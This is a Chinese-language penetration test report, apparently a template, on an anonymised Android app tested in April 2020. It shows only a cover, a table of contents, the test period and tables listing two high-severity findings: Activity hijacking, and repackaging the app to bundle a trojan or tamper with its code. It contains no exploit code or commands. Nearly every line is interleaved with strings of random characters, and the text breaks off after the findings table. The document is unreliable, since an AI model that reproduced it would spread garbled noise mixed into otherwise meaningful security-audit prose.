6 S5 R/ ?, L( c2 z/ d- Y) z8 {% ^1 E7 b7 ~3 n0 q
. y2 q& O9 _( N. n5 A8 I) x M R3 O! Q W- k: t/ D; q5 H
/ V3 k* p5 X5 }/ d0 y7 Y. H6 I7 H$ |8 q2 [1 H; Z9 t6 W
+ O1 B; w3 X% k8 [0 n3 i. f
7 R: F+ S' \$ G$ q, Z7 |7 }6 }
a; g6 @( U/ ^% r# F
% \2 O ~! |. J; M0 f) ~/ }( W
% N& }7 s5 d1 x/ P' C& |5 @2 x" W9 M8 p; X) |8 e8 i; j
文档编号: 2 }" _2 ?# Q$ H# B
* C6 G0 @3 X! [/ g v4 N9 |
; V! F& i4 n' P( b) x/ q8 _& ?3 v
; z2 y2 N! q# k. A2 x" [8 _, [5 j
2 Y2 B6 J0 s, ~3 c# G: |0 r9 b! A R( ^% [6 J
9 o, j) G5 y; R! `7 F! |
. {+ H& L1 T' r- ^' b4 k/ w
0 O F1 a; ?' z7 ?# x0 O. I4 h
! r8 a, J! |8 r) W/ ^
3 |6 i+ w* ?# n. O! m/ y( ~/ R
. B+ Z6 w" C" v! y3 ?. b
% k4 c: d" B: v' Z7 W* |# X& @* B& U9 L6 e7 f* A$ W% L9 ~
1 i: U; F- u% T) X6 q! ^5 O+ o' b1 M( Q, U, \
" t& M0 `; `9 g) ~2 F! n8 q( N4 P d% ^9 f* u
7 B7 C/ ]4 f4 l
2 `/ o- m0 u! Q* O% u
7 l) z4 T# Z4 ]$ f0 |: s
: h& b | i! o2 n$ b; G5 I ! F& {; f( h* Z2 _3 Z7 i
6 @5 E7 O# u s7 a5 e3 h! O* r * M* p) u+ C; b. }$ o# B. I
( V! l1 O( \1 U8 N* L0 z- T4 |0 R
/ r: j2 b) _: c) G$ m* b; K4 n0 r
. F7 Q4 t0 | e5 S# ~; Q 2 \( H# q; x" {( V5 Q
" x* J8 X+ |& z
; W6 s) l% d/ i2 Y, I$ G1 Y4 O7 M( V. Z: ^# T2 ?7 z+ v; p) @
3 d$ ^# x }/ u7 y* |
0 H+ L; V6 d6 A; p2 _ + S( @: O g# r$ ^6 g, t0 e3 a8 a
, f7 V* d8 h% y
某某某APP渗透测试
1 z0 Z6 G! a2 [! n
. W0 h* M2 L! A
# l+ h4 i" a' C3 i6 k7 w) b
7 H9 `' P# X! w8 T. H2 u6 }
7 [! R" k3 A) B) T. ~1 r
4 y4 V- g+ i6 w- m 0 m! c: w. p# G* }. W; h4 c
: f5 W' ^. v9 W5 v# u' s; j
, V6 M* ?1 k0 r) C" K1 D2 o" R
$ w6 _9 o: V: R. o; A! e1 e! e
' Q- R/ m Q. Z9 u" ~( D
; b+ t- Y! l! Y
- X' A# L* B$ E6 e$ b2 `) {) H" D! ?- k+ }
. C: P* E" j; g% D7 [8 F
0 T+ R* S4 l6 f! {% ^4 m
7 y2 E. G0 O" w# @4 {
: d# ]4 [$ R( \3 `% F. z) C
2 w2 Z/ c' z- d0 t* t z! r9 ]# r4 U0 I1 Q5 R! Z( c
4 W& c* n) ?' j0 Q+ m2 i1 ]0 Z! g' u7 K% m' N
5 i- i4 I' q2 n, ~# r
3 S5 f( ]" t# Z. a) s k, x
9 r0 T# `0 C3 c. @5 Y8 L& _
6 }6 T/ u7 |5 i5 Z4 ]
8 ^% F: u7 W d& m& Y" _! ^
( f& h4 w0 N$ o/ x" N
u1 F' k, p$ w6 W% b
3 X. M; I/ }$ S5 T& b 技 术 报 告 : Q0 h( [* U& V2 ~0 G
( t6 K; k4 [3 Q9 _% F
; K) m$ e {/ R* B# k4 [- K0 l3 I/ F5 V% z- ?" }; s
; X" [3 M2 q5 Z# X9 O& O! H. `6 [
4 A* z/ i) P* I3 H' D9 O 8 E4 G3 H& A5 _) G
; P$ _( W6 x) x F
3 |- i4 z8 H: S& N C. V8 t% ]
$ d& P0 \7 \ n2 U: r3 ?
7 L% A: v5 Y' n- b8 b! K
* h: _. G" Y) C7 z/ n: K + ?: a7 f# T' A1 L* c q
! o1 M" q: ~( W! P; ~2 g
! ?: a: X, K3 i
& y: R6 _/ ?5 P: f6 c2 |2 c 1 Q3 m! F d+ v3 s
* s6 f6 z* S& I
$ q2 ?& E1 s! L% ~' f( R
1 @7 p: {( y/ S& ]
# m! {5 }$ j2 t7 d) n
9 ]# y! U v" c! {/ W% U
" f! y G. j. L; G; F1 B
) P0 F( [, j9 |7 w" K
2 a9 I! M" v8 U
2 V2 G) t# o% l$ o5 N
3 E! F/ X6 P$ r2 u+ ]; k
+ K D+ F# n3 I! y& S+ B
# z4 R: x k0 E9 |0 Q# B
: O; l4 f) r+ |# L* \+ D9 R
, i( {( A! S" n& @1 B
4 ?# k( x* p1 z7 l' x) c9 H
1 }7 F. H2 v$ I. P' f6 P% f& s
$ x) t" P' f0 H, X' ?
# ?/ r1 C; j v/ @
* k3 F5 m; J, |0 N- ?! s H! H
8 R) X$ ^" b! L4 ]$ G1 s* B! @! S
- M6 T# U) M n" [* J
% C2 F) U. G7 [( c6 p2 W7 @5 L& Y3 K
; ~6 Z& j$ a* |( D
; I; ^ v) u1 {5 M2 y3 H 6 O! l$ K' v- D5 b+ G9 f! }
, K2 f8 \8 R: d- D0 O+ ^
U( }9 ~' ?$ j/ T
d6 K# L4 m& u- Y. w
( N- P1 @; V P. `" L: H2 e8 B/ r& e' c+ m
- t! |. e2 a& P3 U6 k
* F% G' s7 ^/ |7 s
( V- a0 E$ M: H( I. Y( M. E0 c5 o/ c1 J, T
5 @# e7 Z) S. u S# d3 s8 I* n
- x# R$ q# E2 Q7 f/ S 9 B7 m6 l5 B9 l! z( a6 M
# g* b- `5 I' T/ V0 m
: J; @0 ~/ x& @; {- Z5 e7 U
' l3 W" B" ^. [! B) ~ 6 m3 o! M; |4 ~7 m
! y; [- [" s# X. o. u% h$ ] , C' _) h6 C4 h
/ C* w/ ` D. W1 f; m
3 {2 }# P5 C. j: x+ [. G
2 _, m5 I& ~* Q2 | ! F5 t" G7 p, ?4 S0 H
% P" v/ p! O. C9 w5 P4 J7 m4 N
( B& T8 c E% z; E7 l
# O! L; U7 H$ j+ h$ V
7 T+ ?* Z( g! B K2 B+ m+ w4 T" `7 C5 z* ^# t3 c% ]
1 Y9 ^% \ U! h: g2 m; ^
0 i- \. v. g4 p$ ^! T
" ], R8 @8 m l8 x4 M4 \. K% P% B6 X# u8 N$ a. j3 { M: C
( Z2 T& d) T, O8 R4 {1 \+ b
' Z. B% z5 m" A: u
. L! ? f# j; z9 T* }+ R$ E
! M6 R, y. ~% G# s
1 P* w. r: D7 d( O& t X2 G9 U: B8 |! w2 `; m5 ?- Z, r- u
' W1 f. h4 t# [( E$ Y: j# h& c( J& k3 H7 A& @% }" j8 N
- t" ^! I, X' V
% c" Z. X# k9 q8 Y; \- y
. }1 V0 o) G0 d) j+ L* [: L, a# o# b' O2 m& t# `
, O5 @/ c& {2 l R1 N
4 t; `6 s- l# Q! U
* K# ^% k. C6 m
2 z2 Z$ X2 A: |
2 ^% d% `7 z; u; S/ W
2 y2 Q$ o* r- i# G
1 i/ n, ~; S5 s# l1 ]
% e# W. @# {! S+ W2 c + M- @4 ]) s" U2 I0 q0 W9 U
% n6 e6 R0 y% V. q3 c$ A7 ]
1 j9 U. @8 j4 o9 f D: m$ x# L6 B$ @0 M& r& v
8 \, ~4 H# Q4 S% Q% G1 e! @) j% Z% g( ~5 q; z5 C8 O7 y; O
( s2 P R1 p+ Z$ K6 o1 {! {
3 g+ o* \, I; V% d& s - m# ?) R, R% v4 a2 |
" j: g+ @. a5 ?& _9 s# W
2 l/ G) K7 G6 H4 }* }1 z
+ Q3 E+ g! V3 z3 Z
5 a9 k& T" ^4 p+ ~! c
; O" \ \, g' n' R3 x5 j
( f( s; w' B7 X& x+ B
* i" }' T K( T' q4 Z0 H# B
- K" R _7 L+ I* v
3 n+ q4 p3 Z L7 J \( B
* Y& \. O% L% `. e9 q
& R4 W- n# o! k6 N4 h9 k 二〇二〇年 9 u/ O0 |" ?7 {9 V6 ~! X) g
) y: t4 W6 p% Q* }6 s2 y
% [( p3 S$ R' l- X% K [" W% s- r2 L1 t4 h9 O {( Z3 _) c* }
) F6 f0 v" ?1 ]0 w7 P3 p7 z
9 A" w+ s# v" f7 y' g+ u2 I
0 q4 U. m. u, P( T; z" ^ r. R# D) {& \; G, p
V. F. _8 G# ^2 K
0 o) s+ x R' n' f% ]. B+ w" d( b( Z 9 @, u4 p V+ @2 U. b E3 ?( c/ X5 ^
}" R& H5 i8 D, O
) c2 \; Q( a+ u6 K
3 e1 s. [/ P4 m( ^% F4 @
, C' l- \- h. x `
) v& y) ^1 ]. P8 O
/ f1 y' l/ N. H8 P- ?) c8 |. L2 Z: c! M4 F
( P. _( k/ \2 a
/ _+ y3 D8 q2 ~: L " g4 p' A8 a; n+ C9 B( f
4 O0 W, L# G7 C) I7 F9 v 目 录 # N6 M* T. k2 e5 @ V8 R
/ T! ^+ y, C" x: T, a* V3 f
3 T( i2 Z$ `7 l/ M8 R1 b
1 K* k, y+ m" `% g& V+ M! W 2 t) c1 b, N2 O: D: g5 Q5 t
# e5 Z: ^, c" H; F4 U; ^: S! [* [% ^) X
6 ~! W9 k: r$ O4 M/ N
5 r0 ]/ M4 z% w% ?5 D- f, [: S : `$ ?+ n$ h" Y/ f) O: ]
y8 c! X* a; e0 X3 a7 J2 j* v
% p- C7 `1 O4 |- k. ]" P% B# n
" h) a; ?: q, `+ b+ q+ J! U0 E
: p3 X, c& ~7 r! u3 D1 {+ {1 X
9 P% N* o) _( T/ d, y/ k 1 概述... 3 3 F" q+ c# h' c+ ^+ X8 Q
: g& K4 a& ~( z3 B: C
5 R t" [5 {* ~! t# B/ V" ^
& f7 s4 }( a1 E3 N9 G & n. d" ?" T, p
7 U- \. v+ `! A0 ~0 l4 [8 n, i 1.2测试时间... 3
( Y2 l6 I6 v+ o, B9 X# |
$ M7 \0 S' x+ y
z0 K0 n% |/ e
, E% h% x; S+ E- P
2 h5 p5 ?- x8 J: g- T, k3 @6 ?! F$ |% R. n& C4 X. s9 O1 @2 F
1.3测试对象... 3 5 z) C$ Q# y3 T, J; {' m
5 ^: B6 W. j5 l
' C: @( ~ O, d' g" c0 C! V
+ V3 R3 U# O, f: N( o; _0 l* ~% N
7 D0 F2 Y a3 h; r' ^4 ^1 r; ?8 U2 f: c) k# K& y O- B0 S
1.4测试结果... 3 5 e `' M+ _+ V+ @# l! Z
2 e, S9 d" d0 j' U5 j# Y
1 Q( s9 M1 x5 z: m+ }4 W3 `3 ?* ~
5 h* |7 @4 _2 U# i + P ]; P5 z' k" `7 A, _6 |
, F: n; M9 x; `# z, ] 2 检测结果... 4 ) y; E; {3 M: V. b
, p, y6 ?, ]2 _' Y
4 U7 l+ _2 L6 C( F
1 J3 |2 R2 q5 W8 [6 {/ i( P; R
2 Q; }7 }# G9 o. R' w7 Q, u
e7 g% u/ b H( a1 w 2.1 某某某... 4
& L0 K; @0 c/ L. R, `: Y1 e: h# r/ h6 t1 H4 T
& l4 ?4 p; K" Q
9 B9 y; I# I' T2 f7 a2 I 7 o0 _% d$ Q" p
- V; q5 c7 ^6 e) Z* H2 [) s
2.1.1检测目标... 4 ) E$ b G- h" ]2 J6 M( p, p
" F5 v3 r2 y1 }1 O. ]8 |
7 F$ d# P5 v# t& A r4 |% q6 ^0 A
8 A+ s' k( z, h4 S' |2 ]" u + @7 [9 N+ G/ l. W p: U" e% y
( E' `' Z, M: t3 [
2.1.2检测结果... 4
& Q, c9 S) f0 |& Y; f$ o5 o/ u; Z* ]4 h$ E; b
3 }" ~& V" Z! s2 R
l# w9 `2 y' b) M $ \2 F( ?3 h* M* O" G, n/ U6 U/ g
?0 D; p5 d8 S4 [6 L2 [5 q 2.1.2.1. 4 * i- q3 R$ Z' f. R: ]5 v0 W
! m7 C# q, j3 G- }8 {) D
0 }% x1 F3 v% K/ o: K/ |( M
+ \% a/ T$ r. e% C J: V- n
`1 O) i9 f( A4 [
# C" G6 p7 d2 o- T) l 2.1.2.2. 6
2 y2 ~- d( ^/ Z$ W9 q# q# @# q8 Y5 E
( ~1 h e2 N. r. K9 X0 L
; `, Y( y' v8 v u- E7 u' s
0 h @7 H: O4 U) W ! A/ V8 a0 `/ p* F) {! q
7 ^4 \5 g& E9 Z; a; Z1 u . X6 k- I& ^; }
0 m, c- V5 ]! O9 @3 z. x4 s) ]
; v, b2 @. e' Z: y7 o
0 f" w5 j6 P' N, h( n+ ^- N2 S6 |. f0 M7 {: Z
9 _7 H$ ]! M6 x* b4 ?1 b
U' c1 J6 j9 F
- i1 t1 M' l! P! H8 ]
6 _- n) ^" t. w& v! A! Y8 ^# s/ j7 r
3 [, C7 \$ }6 K: e1 ^1 P2 d+ Q9 K
, |. T7 x9 f# |7 x; Q: b( R9 J / F/ P4 U; i K) P+ ~ o: B
3 m3 K" e2 K" q
1 概述 & J: `8 a8 f4 C
; |( ^( S" ? \) C6 F
6 E# q0 j& k% T8 B5 c! [$ b8 a" f. k
1 e7 }) f' g) Q1 _: H/ {/ N N* s1 O
8 d: q, D& N! p! H# J
* J! \$ b6 k! e3 H 1.2测试时间
# x* @. d) {' u8 A: A, w+ o8 i
$ L: Q1 f5 X5 n5 h9 y; R5 M
4 c) W8 [5 V. p- Z
; ]( K# S$ e! {
4 \; L& o$ D. c+ J+ s# v; n/ h
# Z, l" `2 F2 u, [+ V
- e6 r @) n. ~
3 f2 S: [0 e8 a' c+ ^4 q$ j
0 W. n- z6 `6 M
; [; S' C/ w& |, K: T
`* k4 }/ T0 K5 D, V9 r( J
5 V/ N" l, T2 ^1 E0 _
5 @, H) X; v* |' x" J- {: K9 `; O) A7 l+ H4 a6 X
渗透测试时间
: F5 j) Q7 l6 w- ?
$ h0 M% e2 W i; {
2 b3 Z; H6 K! \# }5 T0 ]% T
) d, o' }( H! j+ o; H0 B |
2 Z5 m8 T8 P; v: }# o' a. t
& j; Y `7 y# U1 q+ D
- Z& |1 W- h2 F0 m# q9 l0 \
; R# W# d% X! F( f2 v$ h
$ p: p0 O% x; E/ i+ i" n6 C6 O; ?8 B2 U- J4 \
0 N" d6 d# p' O' {% x( E! x% ^: b
8 z2 Z& v! z$ g) k% R- F
9 h3 N% [& q3 e8 J8 S$ j/ `! X3 ?+ J: ^; g8 e( T0 E; c
起始时间 ; N4 h2 W& m4 E6 ]5 T. E3 W
0 }! f/ H1 S) a) }! s# h
9 Y5 o: x+ W& y) v7 W Y( l& f0 N
| , j; h# |7 ?# G3 Y/ S0 d
- @0 F9 T' ?% x- k6 v) c1 u
3 H$ w3 [& _# e" b8 B
* ]8 n. X5 A% Q" U0 F! r8 m
[: i) I$ Y; m( g$ f$ Q7 Y' A
( v! O0 H8 D1 m0 v 2020年4月6日
0 H5 Y& j7 T5 m+ T9 |- {0 ^" |; H& r0 B/ M2 y
6 t* ^: T4 S! l c, n" c) T W& H6 M
$ x1 Z1 s; v6 e: i |
9 }- M8 A1 M+ f4 O$ B! X
0 A; v G) x% E/ R4 z% G. v
) e. L; K! { ^- d s' }
9 z1 f2 f) P" U" q1 i3 H: U3 ~ 6 |6 a. F1 J$ H: K2 |# F) ~
/ L9 @9 l6 D7 [# j' g! a( l $ l" n4 P: b5 |7 c5 v. w4 @+ {
1 _- @ e O" L: a4 U4 h5 T
/ z) t) Y$ e+ b, g0 z9 K* I% Y2 Y }: c
结束时间 5 h' t: Y) G9 i* q/ s5 h) l( A
; Q' E7 k0 Q4 T S. @7 U3 W
0 Q3 V% E) J7 c7 S) e: v- y, A# U% _# i% p
| " T u% `6 m+ U+ [
- ^6 ?& v& F. M! @1 ] & |$ \5 O" |. q, j+ |' X" o+ U
; Y' i& B7 ^- x. t! _
- ?% t2 e* L' l5 l7 H% o7 I$ P( o8 a# p( x* W0 n% d8 s5 m
2020年4月9日
; z3 H! X) f& p% a) a$ r) c$ L7 _4 {6 V$ l1 Q6 E3 B1 G( V8 f
2 ^& K. Q' R: d" H7 ^6 Z ?9 Z: }; d: r. R6 Y
| 9 c+ l7 h( m4 X! B {
6 K+ w4 |: g+ ^+ {1 q
6 B- H" G1 R" H+ J8 ]
# y8 |, H0 i# e, I
7 d! J0 Y* J( k2 q2 q" E
1 Q. ^: M" ]( y( E4 L
2 w/ T3 m' H: Y& j6 R4 |+ \% L
& ?. I s E& L" J
+ B& [$ B7 H: } X; o% }9 h+ G0 U* E+ C! ^' N& D1 n c
1.3测试对象
) x: j" I/ E# }0 W% N& v" y8 r2 _, ?
6 u5 \: H/ W" I/ m5 a0 b7 u2 K7 p$ U' F
0 A+ r3 @& Z* e+ v. E/ q! \% h5 e1 w$ `- b8 Y! y
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ( d3 f. b+ \2 O2 F$ Q8 S) r U4 K
( Z" x4 v: ?: [7 g9 L* C9 C/ W# {9 m
* E% \9 _7 |/ X' ^: L+ R' ~4 G' U7 B( x: \0 P, e. L
/ D/ G6 c* ^+ ?' u1 F5 v* @' @: _- U; v+ r/ p
表1-1 检测对象
- e* _: A1 M. \; S4 z' B# R( w* \+ c: u; T- o
: M: b( }& d; @( w. w2 X
. b6 I4 f2 d9 E t; T# U9 o
}! Q4 J( @. p( l9 A4 T3 T7 |
0 r$ @( j) U/ K
, Z1 \' \; q; N& z3 f( _4 ^+ g% M/ B( o7 {4 L
) n3 k* y0 W. N! F }
" c" y3 M2 r; |* {% a! C) Q4 R % e" F" f% H! D r
! Y/ Q+ b% F2 A
* O$ t; ?5 }4 w; }- w8 h. J4 ~0 E: e) V
序号
9 w2 }. k# j3 I; A9 }
B( ^2 n; O' O1 H" X" \) ~ 0 f d7 }/ k4 D ~( d* K
$ x- |8 M( G) [; I. U( u6 n
| , L4 O7 |( x& @$ M! m: L# u
6 D6 |2 @5 b8 P f) O: O. | : ?: M+ `$ ^& F) W
$ Y4 Q& g" c# y1 W
+ \' l6 w) C) t6 \5 C/ G" c( n6 h% d
; n8 X3 U7 b9 `6 n 测试对象
; q; `/ Q1 }) d( @ t- L$ _( ~, R! C1 h4 l2 e
% ]+ b! R5 l8 I: t+ n& S
" @- d# l: O# q1 o) B- F | 1 b/ E2 T* y$ C: t8 A3 E
u/ Y/ `# |$ v- y% D
5 L5 Y; \$ v; k$ [& E! N3 ?: O% a/ @' f- V
2 I" G7 ` D: m" z8 b5 Y( T$ c
" ^3 d. `. K J: W. U
测试地址
8 W' C2 n$ d, C, T* H/ }
! i& \0 \* c* r: M & Y1 q7 K. B& ?' G R9 \* o3 Z' e
5 P T, R# V7 _( L | - n; W7 `4 Q$ N) W t
# {. j2 h4 K$ P8 Q4 N
9 \( H( v, @' n( a# d( a, s5 @
' x# r; o5 {- S* L7 w$ E
7 ~) n; G I+ _) O! e5 g$ D
/ }' P+ t& `9 k 安全漏洞
' O" i6 d) z2 M2 R3 [3 @+ N
7 X! \+ o$ R! D7 T6 I
7 C0 p- |! ]/ o0 @ {2 p
! H4 J) g+ I0 f3 ?6 S4 C; F, f, M | % D$ N/ A" `4 o1 a2 T0 @
- \: w' V: w% w
: F8 g3 V5 H" h b, W3 v! e7 |+ W3 h' u- M' q0 T0 Y
) E; a, _* Y! y
% k: q& t8 E' D8 D
0 ?$ ^/ q% p2 y J0 ?. N0 n
0 z4 @( ]8 p; U5 I4 Z; E * F& @$ @- o( \/ H: s! ~0 G' Q
, d' b, b. N& ]4 m0 U# E" q 1 . D/ J" M$ n q7 t
3 }7 v: M9 {* M
7 [" o7 _9 F; P" K8 ^
/ V: i% ] w; I6 E. C+ o2 f) u |
5 M4 G: D. w# x0 p; @2 L& I5 z
! V5 H% W* U) B t3 |" x! ` ) i) Q" q6 f; G( j5 Z* w* q0 E
" r# v" i, g7 y0 x& }3 {/ G
; {) K: i2 }! M4 f+ D# z
1 Q$ A) O( h o1 t9 J `: k$ v- U
某某某安卓APP - `5 l [ }+ T3 s' v. h, ]1 c% }
~- W6 ^+ w% ]: l# {+ J0 a& ~
6 r$ q$ j- U; Y) W
" O# `, Z" G ^! I; T |
9 z7 z# g9 [" K; N
( q9 S6 G. V$ \6 C+ A5 U % t) n2 l, T+ s+ z- H
3 w# F0 J7 h' v" l; {
8 f) C3 @& r8 m1 T5 ?% }# @1 z
, q' c" L& v7 v5 K$ J
2 `- T, d/ k: E5 e8 H
$ k- t% M/ J4 D' Y
8 S' h; m: _' b: \9 y" n* l- \
3 D8 X; `3 E( n) f |
6 O0 o9 x8 I% f' y4 w9 l6 G. J
, v! p9 t. }) P2 T2 M
+ G0 p" C9 n4 g
8 T5 P- ]4 ]5 T3 s; A/ X; ^* J' n " D$ w3 c7 r K- c/ r
) x* g- |# `* M$ {1 m& i
2
5 M0 O8 a h- _; j! _
S( z8 D) g x- T
: ~% y1 W9 ]3 x+ }- m( o. @6 D
/ |4 \9 w" U( ` | ) l+ A# a+ a' w/ Z Z% \1 }
3 X6 O$ B. {2 Z$ f% T4 G" Y* F2 {
" a9 Y6 z8 |' q: [+ {
3 K2 _: C. B7 [
3 ~9 {# U5 t1 y: _$ H9 k- l
4 }6 e3 y8 z. J" {: S
5 J, Y' g/ M( y O- C0 d4 S
+ f5 R: M( H# I a& ]9 S - d: ]6 v# H+ n& P2 W4 v% I
) H4 h8 x" f; z) Q
1.4测试结果 ! X- O8 c9 p: f6 B. J6 E ^6 M. U
% i/ E$ u) _8 |
+ z2 A8 u3 l. N0 \. f
5 J+ T! A0 x, s! s4 u! r; U
7 ~# r: n2 v- \8 x- ~/ M
8 d% \. h$ k4 w5 D; G" [ 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
/ A2 M3 L# y4 J" K% ?& i9 i! q; v1 Q! f/ r" U8 Z: x8 H4 j
0 z$ E1 [( [- ^! }* n
1 g4 w$ \6 w4 {4 }3 B
$ g. F4 W, f% V
8 _, s* B1 O. K: C6 ~4 @2 M& ]' I( @
- y; H& \; f% u, _8 S. a( w' [" p& i9 \
3 s. h6 X$ C# U- c; I7 U& z
8 }; a# }0 U* u3 R5 a/ a
* ~2 H* }6 X7 T( x) J6 S; W9 S- N+ P9 x
/ |6 |# E8 F$ }) c* K, ]+ e
1 ]/ P8 |$ y$ p! y& t: ~0 K5 C; e
) z: k. j5 j' d8 N! ?7 g8 n) M3 X6 F, l6 y3 J2 J' P
8 J! ~, U( Q7 }
, O N) l! x7 Q3 O) X$ [ 4 _1 V$ ~7 }- }
6 g; n. R5 g' F4 ~) L K- _( @, \
% {$ s0 d: b4 |! z
: n. ^% D4 i C W* [$ Z ^; N! q 序号 + V1 O' l, Z! D% H5 s! a5 k
. D8 {! R" u' x+ O
; U! v9 o, B: `" @) U
) W' n) S$ N) Z8 r0 ~( l |
! {$ ?5 ]) @; I8 o* @$ F3 ]8 J9 k
7 }2 z: E% k3 u ' m) v2 Z- Q5 o" I
5 x8 Z4 P; V& l) F9 w( H 3 O; P& }: B: k+ d6 |1 R4 f
- h D% v' a# B( U( s
系统名称 - L: P: a& e: B! a" J' b, T
1 ~4 ]/ v" D8 i9 S2 Q- T" |0 h
: \, b: S' D6 ^ a& Q9 J4 @5 S- P! C1 b7 y
|
( }# n5 q" s4 U4 F1 b) V5 p' d, m
- f% g" K* I) H% H- N, `; o0 } & b7 l9 w, Q4 k9 N% r1 `
- F4 _4 J5 h$ K* }+ ~ 6 _7 |/ V2 R n
- r! K/ J9 d# ?7 y, | 漏洞名称
' i! p! R8 m ?* i7 O
O' W' M* q; A8 k' p
8 u: x& c; y' x! t( k9 _! b
% @7 i8 h! d3 u/ n! | | 6 t+ Y8 _- q1 _" l8 Q% Z$ a
! |* A/ z( y- m% ?4 o/ ?
- d6 W. X ~7 A" W2 ^( O
1 A" g. q1 ^" W( `) X ' x4 K7 |, l& m/ U7 h2 p: C, M' e6 {/ x
; J4 V. I8 i) n: w! n7 j
漏洞危害 3 l6 `% p! `- f
/ j# ^3 J5 e) A9 C
& S: N2 i& W& G: Z1 d- h# u
4 l% f* {" H( U4 [9 Y2 T/ G; H |
# Q* U6 L8 w# C. |1 M; Q) ?" _8 `
: W5 q; N/ V! J3 i( F9 {
5 o4 U6 d3 _; Y. g
! q2 e% a. Y- x5 N8 E6 w+ e, Q+ m
* O2 M$ E( L' Y v, A 修复结果 5 Y# j& S& p9 ~5 h5 B% {
N! z0 k1 b% X' A: l! i
3 L" C0 J1 w; }' {8 ~' _
9 A# r3 P, G! Q( X$ H$ a8 t' d
|
9 ?/ s6 Q7 W) m% o5 l, g: B7 a) t
7 h/ I; o$ D' _- p6 b+ `# [6 ] V* Z# d9 z: G) R& {- U
! i& Y, H. o3 [$ S9 W( F+ j1 K; ]$ s0 O6 l/ K2 q+ E0 Q$ b
& Y# {7 A f- _3 K
' W, M6 I) [, O& G2 b y
3 A3 K% ?+ d; k2 f( R1 e
& d1 _2 Q+ J+ J* |! } 1
8 G' _4 n; B7 h( _0 Q' i+ Y, L0 l3 K& [! y$ D i f, j, I
% e) N9 s- r, F- j& x
- T5 w2 c! e8 R* _' Y' H# M. s | & X' i* `1 o- \' r0 b$ \3 q
6 n9 o+ L/ Z) x( {, [' t
: n# [5 k7 \4 x+ _2 U7 ^" k z( s" T
6 H; E% v: s( x9 t f+ } - U0 ~4 _! b2 g' F9 E3 J
7 z4 ~0 o! d7 Y; N; G- E
某某某某某某APP
9 m9 n# g9 _" L1 [% s9 f2 a# R/ s) z, S6 D1 D
. L# h6 ~" @# ]- J1 M4 O+ ]4 F; d3 J% H$ L' o2 Z& l
| 6 j: t9 Y# H4 a/ @) n' y
/ \( w$ O# ~4 n
5 \- n! ]( Z* F- {; e1 f' G
0 X4 |( {! a0 a" {/ t+ d
4 b. F2 j/ Z7 M8 i& Y% D3 f8 v# g
9 A; _, a9 E- \. \8 Z% q
Activity 劫持
' {0 b) y. @9 Z2 W- Z. [" L, H' ^9 Z
0 @) j8 M' d0 F4 c
- P6 x' o: v8 g7 `& L4 U
3 n" S& J: k* [, [0 \ # E k! D4 P0 ?8 b3 F7 Z
! q% A3 ?1 A9 i% R! @
/ [; i \9 m9 u5 q. o
0 Y% i+ P' q/ }% J3 _
* h" b& `' V* r. Y0 V! P# x. _9 J# [; H8 s% U
|
+ T& N: g$ y* a
0 I; [9 r W1 X
! N# k, ^9 s, |9 t/ m1 j
& A8 M0 }, R+ j, J! U + R) |; X/ _% I( T- l1 Z9 x: v o
, u% Y) V n7 g" X4 w, } 高
- M( n) z) _0 `* N; c& n3 }
' S; O) y! I l* q
& `6 v# y/ f! @0 ]7 `& ^7 f0 B2 c$ J5 ?! |' I" Y* d
|
" s t0 G: ]4 V- T: @$ G8 }! t1 i$ e6 k" l3 \
1 Y9 v, _% F U: H1 \
/ a* J/ K2 Q$ T; q
% e; A4 c0 f, S) G3 J5 `% c( [" n% d; ]0 y. T( C% C4 }& q
; M4 i0 v6 F- z4 y7 J( c& S
6 a6 _0 F7 g$ `6 D+ }- u3 o9 [ b
* x- x, W0 C, b% h6 `4 w4 l! F0 z( [
( u5 n, N( R8 x R# }' i | 2 S% M- i2 V3 x V0 \+ Z
# g5 P: ]5 ^" ]6 c: r0 V/ ?5 i
9 |; H. f9 a3 v% q
# b$ w5 r7 ?& i; S; @1 q2 B+ n
9 u; I* i$ u# M% A$ J8 ]! A
. T; F! A) [( U# \, ]% t / R* |5 n3 z% \# t
- S4 F) t" e/ m* y3 K. w( f8 }7 T# ]
: |- ?% ^$ K" h9 e6 d1 s9 x1 C. q" p2 v
2
) c( m5 @ ~. k$ B' o
1 \) m0 y) o3 [ * c$ l* v) d) L- U# @9 j+ h$ \
3 n9 v, _! h; S0 s3 e5 H; o7 w! ]2 w |
2 _6 @# f* ]& L; p8 |2 I1 n5 y0 a* i& n9 B% _
. |. G( g+ T: x c+ N* P6 n
. `. ~* @9 ^# H, h( r+ m6 I
: m) ^" U" D6 O+ H/ z7 z
# ]: |+ b8 h; C1 b3 C$ k6 e 某某某某某某APP " v! }* Y) _* m) _* M
5 v7 E3 o6 V5 t: r2 Z: X. `7 g
/ E& V. J. b4 }% n
+ O$ C0 s* j# F% p5 P8 D |
* Q7 {6 H1 D: I' a. `5 \' p. J/ S1 L5 z" x# o9 b$ S
% X( E2 K% N7 A: q+ P
; T& E: X+ e( N/ w$ G6 i
2 M1 V! R" y; r, m# |7 J& x. h Z, w, v( @3 F1 ^# M0 u1 b2 Y! [
反编译二次打包捆绑木马、篡改APP代码 2 z! m, {3 X4 R ~$ _( f
- {; Z# n' D/ h; _/ F/ p" }% ] * r# g6 X8 S2 N0 U& a
: s2 U) d! q2 L- q8 D6 M | 1 T1 v8 p/ ?/ Z. B; u8 t
$ ^/ B5 y# S7 s; ~2 D) U9 U $ G. h. f: i. z9 ~. R" y9 m9 N
; t5 P5 V& g' g5 v
, D- R% S8 O3 q- y: t
2 u, {$ k- p9 v, f: y0 c1 j
高
' R! w. e3 {( g" Z+ J
$ `- B- [1 j$ X" O4 {- j) X6 f 8 o# X4 P' b& ]
6 i. @4 u `9 K0 |) x" y |
* m5 G( [: B. k3 q, L) f6 z; e' n* c1 P( U+ {1 ]* w
! e, }. b! Z$ F1 n
& n+ E8 s" H3 g: Z1 x& ^2 _/ b
, Z+ X9 A6 O$ h* M0 K m& l' w- q# ~) C9 P5 y* V7 F7 p0 p
8 U S8 Y8 \ p, a2 s
2 H( |# T; X% g ^% v9 d" e+ k
! t# k6 W3 M u! B+ i4 w" ?: t G: Y8 {5 _% Q
| 3 ~5 a# W$ Y' G5 P- b
( ~! k5 A4 Z, P; a/ ^- [3 H
* p* z9 Y1 {% z5 p$ l% P& x
8 F( K8 q: H1 g: o4 g- I - k/ @ G: g/ u7 C
2 P* } h- B" B
1 M0 H* e( ^+ q* J5 `. f- n1 s$ `, v( H9 S5 a& U
